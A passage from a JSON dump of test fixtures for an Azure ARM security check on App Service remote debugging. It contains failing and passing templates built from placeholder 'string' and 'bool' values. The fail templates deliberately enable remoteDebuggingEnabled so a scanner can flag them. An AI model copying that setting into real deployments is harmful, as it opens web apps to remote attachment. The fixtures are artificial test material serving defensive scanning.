    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"fail\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"is try string to app service disallow cors\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": true,\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceSlotDebugDisabled/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n  \"type\": \"Microsoft.Web/sites/slots\",\n  \"apiVersion\": \"2022-09-01\",\n  \"name\": \"fail2\",\n  \"location\": \"string\",\n  \"tags\": {\n    \"tagName1\": \"tagValue1\",\n    \"tagName2\": \"tagValue2\"\n  },\n  \"kind\": \"string\",\n  \"extendedLocation\": {\n    \"name\": \"string\"\n  },\n  \"properties\": {\n    \"clientAffinityEnabled\": \"bool\",\n    \"cloningInfo\": {\n      \"appSettingsOverrides\": {},\n      \"cloneCustomHostNames\": \"bool\",\n      \"cloneSourceControl\": \"bool\",\n      \"configureLoadBalancing\": \"bool\",\n      \"correlationId\": \"string\",\n      \"hostingEnvironment\": \"string\",\n      \"overwrite\": \"bool\",\n      \"sourceWebAppId\": \"string\",\n      \"sourceWebAppLocation\": \"string\",\n      \"trafficManagerProfileId\": \"string\",\n      \"trafficManagerProfileName\": \"string\"\n    },\n    \"containerSize\": \"int\",\n    \"customDomainVerificationId\": \"string\",\n    \"dailyMemoryTimeQuota\": \"int\",\n    \"enabled\": \"bool\",\n    \"hostingEnvironmentProfile\": {\n      \"id\": \"string\"\n    },\n    \"hostNamesDisabled\": \"bool\",\n    \"httpsOnly\": \"bool\",\n    \"hyperV\": \"bool\",\n    \"isXenon\": \"bool\",\n    \"serverFarmId\": \"string\",\n    \"siteConfig\": {\n      \"acrUseManagedIdentityCreds\": \"bool\",\n      \"acrUserManagedIdentityID\": \"string\",\n      \"alwaysOn\": \"bool\",\n      \"apiDefinition\": {\n        \"url\": \"string\"\n      },\n      \"apiManagementConfig\": {\n        \"id\": \"string\"\n      },\n      \"appCommandLine\": \"string\",\n      \"appSettings\": [\n        {\n          \"name\": \"string\",\n          \"value\": \"string\"\n        }\n      ],\n      \"autoHealEnabled\": \"bool\",\n      \"autoHealRules\": {\n        \"actions\": {\n          \"actionType\": \"string\",\n          \"customAction\": {\n            \"exe\": \"string\",\n            \"parameters\": \"string\"\n          },\n          \"minProcessExecutionTime\": \"string\"\n        }\n      },\n      \"autoSwapSlotName\": \"string\",\n      \"azureStorageAccounts\": {},\n      \"connectionStrings\": [\n        {\n          \"connectionString\": \"string\",\n          \"name\": \"string\",\n          \"type\": \"string\"\n        }\n      ],\n      \"cors\": {\n        \"allowedOrigins\": [ \"string\" ],\n        \"supportCredentials\": \"bool\"\n      },\n      \"defaultDocuments\": [ \"string\" ],\n      \"detailedErrorLoggingEnabled\": \"bool\",\n      \"documentRoot\": \"string\",\n      \"elasticWebAppScaleLimit\": \"int\",\n      \"experiments\": {\n        \"rampUpRules\": [\n          {\n            \"actionHostName\": \"string\",\n            \"changeDecisionCallbackUrl\": \"string\",\n            \"changeIntervalInMinutes\": \"int\",\n            \"changeStep\": \"int\",\n            \"maxReroutePercentage\": \"int\",\n            \"minReroutePercentage\": \"int\",\n            \"name\": \"string\",\n            \"reroutePercentage\": \"int\"\n          }\n        ]\n      },\n      \"ftpsState\": \"string\",\n      \"functionAppScaleLimit\": \"int\",\n      \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n      \"handlerMappings\": [\n        {\n          \"arguments\": \"string\",\n          \"extension\": \"string\",\n          \"scriptProcessor\": \"string\"\n        }\n      ],\n      \"healthCheckPath\": \"string\",\n      \"http20Enabled\": \"bool\",\n      \"httpLoggingEnabled\": \"bool\",\n      \"ipSecurityRestrictions\": [\n        {\n          \"action\": \"string\",\n          \"description\": \"string\",\n          \"headers\": {},\n          \"ipAddress\": \"string\",\n          \"name\": \"string\",\n          \"priority\": \"int\",\n          \"subnetMask\": \"string\",\n          \"subnetTrafficTag\": \"int\",\n          \"tag\": \"string\",\n          \"vnetSubnetResourceId\": \"string\",\n          \"vnetTrafficTag\": \"int\"\n        }\n      ],\n      \"ipSecurityRestrictionsDefaultAction\": \"string\",\n      \"javaContainer\": \"string\",\n      \"javaContainerVersion\": \"string\",\n      \"javaVersion\": \"string\",\n      \"keyVaultReferenceIdentity\": \"string\",\n      \"limits\": {\n        \"maxDiskSizeInMb\": \"int\",\n        \"maxMemoryInMb\": \"int\",\n        \"maxPercentageCpu\": \"int\"\n      },\n      \"linuxFxVersion\": \"string\",\n      \"loadBalancing\": \"string\",\n      \"localMySqlEnabled\": \"bool\",\n      \"logsDirectorySizeLimit\": \"int\",\n      \"managedPipelineMode\": \"string\",\n      \"managedServiceIdentityId\": \"int\",\n      \"metadata\": [\n        {\n          \"name\": \"string\",\n          \"value\": \"string\"\n        }\n      ],\n      \"minimumElasticInstanceCount\": \"int\",\n      \"minTlsVersion\": \"string\",\n      \"netFrameworkVersion\": \"string\",\n      \"nodeVersion\": \"string\",\n      \"numberOfWorkers\": \"int\",\n      \"phpVersion\": \"string\",\n      \"powerShellVersion\": \"string\",\n      \"preWarmedInstanceCount\": \"int\",\n      \"publicNetworkAccess\": \"string\",\n      \"publishingUsername\": \"string\",\n      \"push\": {\n        \"kind\": \"string\",\n        \"properties\": {\n          \"dynamicTagsJson\": \"string\",\n          \"isPushEnabled\": \"bool\",\n          \"tagsRequiringAuth\": \"string\",\n          \"tagWhitelistJson\": \"string\"\n        }\n      },\n      \"pythonVersion\": \"string\",\n      \"remoteDebuggingEnabled\": true,\n      \"remoteDebuggingVersion\": \"string\",\n      \"requestTracingEnabled\": \"bool\",\n      \"requestTracingExpirationTime\": \"string\",\n      \"scmIpSecurityRestrictions\": [\n        {\n          \"action\": \"string\",\n          \"description\": \"string\",\n          \"headers\": {},\n          \"ipAddress\": \"string\",\n          \"name\": \"string\",\n          \"priority\": \"int\",\n          \"subnetMask\": \"string\",\n          \"subnetTrafficTag\": \"int\",\n          \"tag\": \"string\",\n          \"vnetSubnetResourceId\": \"string\",\n          \"vnetTrafficTag\": \"int\"\n        }\n      ],\n      \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n      \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n      \"scmMinTlsVersion\": \"string\",\n      \"scmType\": \"string\",\n      \"tracingOptions\": \"string\",\n      \"use32BitWorkerProcess\": \"bool\",\n      \"virtualApplications\": [\n        {\n          \"physicalPath\": \"string\",\n          \"preloadEnabled\": \"bool\",\n          \"virtualDirectories\": [\n            {\n              \"physicalPath\": \"string\",\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"virtualPath\": \"string\"\n        }\n      ],\n      \"vnetName\": \"string\",\n      \"vnetPrivatePortsCount\": \"int\",\n      \"vnetRouteAllEnabled\": \"bool\",\n      \"websiteTimeZone\": \"string\",\n      \"webSocketsEnabled\": \"bool\",\n      \"windowsFxVersion\": \"string\",\n      \"xManagedServiceIdentityId\": \"int\"\n    },\n    \"storageAccountRequired\": \"bool\",\n    \"virtualNetworkSubnetId\": \"string\",\n    \"vnetContentShareEnabled\": \"bool\",\n    \"vnetImagePullEnabled\": \"bool\",\n    \"vnetRouteAllEnabled\": \"bool\"\n  }\n}\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceSlotDebugDisabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"pass\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"is try string to app service disallow cors\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"string\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": \"int\",\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": false,\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceSlotDebugDisabled/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n  \"type\": \"Microsoft.Web/sites/slots\",\n  \"apiVersion\": \"2022-09-01\",\n  \"name\": \"pass2\",\n  \"location\": \"string\",\n  \"tags\": {\n    \"tagName1\": \"tagValue1\",\n    \"tagName2\": \"tagValue2\"\n  },\n  \"kind\": \"string\",\n  \"extendedLocation\": {\n    \"name\": \"string\"\n  },\n  \"properties\": {\n    \"clientAffinityEnabled\": \"bool\",\n    \"cloningInfo\": {\n      \"appSettingsOverrides\": {},\n      \"cloneCustomHostNames\": \"bool\",\n      \"cloneSourceControl\": \"bool\",\n      \"configureLoadBalancing\": \"bool\",\n      \"correlationId\": \"string\",\n      \"hostingEnvironment\": \"string\",\n      \"overwrite\": \"bool\",\n      \"sourceWebAppId\": \"string\",\n      \"sourceWebAppLocation\": \"string\",\n      \"trafficManagerProfileId\": \"string\",\n      \"trafficManagerProfileName\": \"string\"\n    },\n    \"containerSize\": \"int\",\n    \"customDomainVerificationId\": \"string\",\n    \"dailyMemoryTimeQuota\": \"int\",\n    \"enabled\": \"bool\",\n    \"hostingEnvironmentProfile\": {\n      \"id\": \"string\"\n    },\n    \"hostNamesDisabled\": \"bool\",\n    \"httpsOnly\": \"bool\",\n    \"hyperV\": \"bool\",\n    \"isXenon\": \"bool\",\n    \"serverFarmId\": \"string\",\n    \"siteConfig\": {\n      \"acrUseManagedIdentityCreds\": \"bool\",\n      \"acrUserManagedIdentityID\": \"string\",\n      \"alwaysOn\": \"bool\",\n      \"apiDefinition\": {\n        \"url\": \"string\"\n      },\n      \"apiManagementConfig\": {\n        \"id\": \"string\"\n      },\n      \"appCommandLine\": \"string\",\n      \"appSettings\": [\n        {\n          \"name\": \"string\",\n          